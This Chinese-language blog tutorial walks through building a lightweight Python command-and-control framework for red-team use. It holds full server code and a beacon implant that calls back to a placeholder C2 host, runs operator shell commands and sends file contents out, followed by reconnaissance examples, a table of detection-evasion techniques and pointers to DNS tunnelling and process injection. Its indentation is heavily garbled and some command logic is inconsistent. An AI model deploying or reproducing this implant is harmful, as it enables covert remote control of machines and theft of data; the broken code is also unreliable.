红队工具实战:用Python打造轻量级C2框架(含Beacon回连机制)

在红队渗透测试中,命令与控制(C2)平台是核心基础设施之一。传统工具如Cobalt Strike虽然强大,但存在资源占用高、易被检测等问题。本文将介绍如何使用 Python + Socket编程 构建一个轻量级自定义C2框架,支持基础的Beacon心跳回连、远程命令执行和文件上传下载功能,适合用于内网横向移动或隐蔽通信场景。


一、整体架构设计

┌─────────────┐       ┌──────────────────┐
│   Victim    │<----->│   C2 Server      │
│ (Python脚本)│       │ (监听端口5555)   │
└─────────────┘       └──────────────────┘
     ▲                         ▲
          │                         │
            Beacon心跳               命令下发/文件传输
            ```
> ✅ 特点:无外壳依赖、无注册表写入、流量伪装为普通HTTP请求(可替换为DNS隧道等高级隐蔽方式)
---

## 二、服务端代码实现(C2 Server)

```python
import socket
import threading
import json
import os

HOST = '0.0.0.0'
PORT = 5555

clients = {}

def handle_client(client_socket, addr):
    print(f"[+] New client connected: {addr}")
        while True:
                try:
                            data = client_socket.recv(1024).decode('utf-8')
                                        if not data:
                                                        break
                                                                    msg = json.loads(data)
                                                                                cmd = msg.get("cmd")
                                                                                            
                                                                                                        if cmd == "beacon":
                                                                                                                        client_id = msg.get("id")
                                                                                                                                        clients[client_id] = client_socket
                                                                                                                                                        print(f"[+] Beacon registered: {client_id}")
                                                                                                                                                                        
                                                                                                                                                                                    elif cmd == "exec":
                                                                                                                                                                                                    # 执行远程命令并返回结果
                                                                                                                                                                                                                    result = os.popen(msg["payload"]).read()
                                                                                                                                                                                                                                    response = {"status": "success", "data": result}
                                                                                                                                                                                                                                                    client_socket.send(json.dumps(response).encode())
            elif cmd == "upload":
                            filename = msg["filename"]
                                            content = msg["content"]
                                                            with open(filename, "wb") as f:
                                                                                f.write(bytes.fromhex(content))
                                                                                                client_socket.send(json.dumps({"status": "uploaded"}).encode())
                                                                                                                
                                                                                                                        except Exception as e:
                                                                                                                                    print(f"[!] Error handling client {addr}: {e}")
                                                                                                                                                break
                                                                                                                                                    
                                                                                                                                                        client_socket.close()
                                                                                                                                                            del clients[addr[0]]
def start_server():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            server.bind((HOST, PORT))
                server.listen(5)
                    
                        print(f"[+] Listening on {HOST}:{PORT}...")
                            
                                while True:
                                        client_sock, addr = server.accept()
                                                client_thread = threading.Thread(target=handle_client, args=(client_sock, addr))
                                                        client_thread.start()
if __name__ == "__main__":
    start_server()
    ```
---

## 三、客户端代码(Beacon植入体)

```python
import socket
import time
import json
import base64
import subprocess

C2_HOST = "YOUR_C2_IP"
C2_PORT = 5555
CLIENT_ID = "WIN_123456"

def beacon_loop():
    while True:
            try:
                        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                                    s.connect((C2_HOST, C2_PORT))
                                                
                                                            # 发送心跳包
                                                                        heartbeat = {"cmd": "beacon", "id": CLIENT_ID}
                                                                                    s.send(json.dumps(heartbeat).encode())
                                                                                                
                                                                                                            # 接收指令
                                                                                                                        resp = s.recv(1024).decode()
                                                                                                                                    cmd_data = json.loads(resp)
                                                                                                                                                
                                                                                                                                                            if cmd_data.get("cmd") == "exec":
                                                                                                                                                                            output = subprocess.check_output(cmd_data["payload"], shell=True, stderr=subprocess.STDOUT)
                                                                                                                                                                                            result = {"cmd": "result", "data": output.decode()}
                                                                                                                                                                                                            s.send(json.dumps(result).encode())
                                                                                                                                                                                                                        
                                                                                                                                                                                                                                    elif cmd_data.get("cmd") == "download":
                                                                                                                                                                                                                                                    filename = cmd_data["filename"]
                                                                                                                                                                                                                                                                    with open(filename, "rb") as f:
                                                                                                                                                                                                                                                                                        content = f.read().hex()
                                                                                                                                                                                                                                                                                                        s.send(json.dumps({"cmd": "file_content", "content": content}).encode())
                                                                                                                                                                                                                                                                                                                    
                                                                                                                                                                                                                                                                                                                                s.close()
                                                                                                                                                                                                                                                                                                                                            
                                                                                                                                                                                                                                                                                                                                                    except Exception as e:
                                                                                                                                                                                                                                                                                                                                                                print(f"[!] Beacon failed: {e}")
                                                                                                                                                                                                                                                                                                                                                                        
                                                                                                                                                                                                                                                                                                                                                                                time.sleep(10)
if __name__ == "__main__":
    beacon_loop()
    ```
---

## 四、实战应用场景示例

### 场景1:执行系统信息收集命令

在C2服务端输入:
```json
{"cmd": "exec", "payload": "whoami && ipconfig /all"}

客户端收到后执行并返回:

Administrator
Ethernet adapter Ethernet:
   Physical Address. . . . . . . . . : XX-XX-XX-XX-XX-XX
      IPv4 Address . . . . . . . . . . : 192.168.1.100
      ```
### 场景2:上传本地敏感文件(如hosts)

```json
{
  "cmd": "upload",
    "filename": "C:\\Windows\\System32\\drivers\\etc\\hosts",
      "content": "68656c6c6f20776f726c64"  // hex of "hello world"
      }
      ```
客户端自动解码并保存至指定路径。

---

## 五、防御绕过技巧建议

| 技术点 | 实现方式 |
|--------|-----------|
| 流量混淆 | 使用Base64编码JSON消息,模拟HTTPS POST行为 |
| 心跳间隔 | 动态调整(如随机3~15秒),避免固定周期暴露 |
| 连接复用 | 单次连接持续保持,不频繁新建套接字减少日志记录 |
| 数据加密 | 可扩展AES对称加密(需预共享密钥) |

> ⚠️ 注意:此代码仅用于合法授权的安全研究,请勿用于非法用途!
---

## 六、扩展方向(进阶玩法)

- 添加 **DNS隧道** 模块(利用TXT记录传递数据)
- - 集成 **多线程并发管理**(支持上百节点)
- - 实现 **模块化插件系统**(类似Metasploit payload模块)
- - 支持 **图形化前端界面**(Qt or Flask Web UI)
---

## 结语

通过上述实现,我们成功构建了一个**极简却高效的Python c2框架**,适用于红队演练中的快速部署和灵活调试。相比商业工具,它更易于定制、更难被特征识别。下一步可以结合**内存加载技术(Reflective DLL Injection)8* 和 **进程注入** 进一步隐藏自身痕迹,真正做到“无声无息”。

如果你正在寻找一款可深度定制、可二次开发的红队工具链起点——这正是你的起点!  
别忘了把这份代码放进你自己的项目仓库里,让它成为你红队战术的一部分 💪
Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐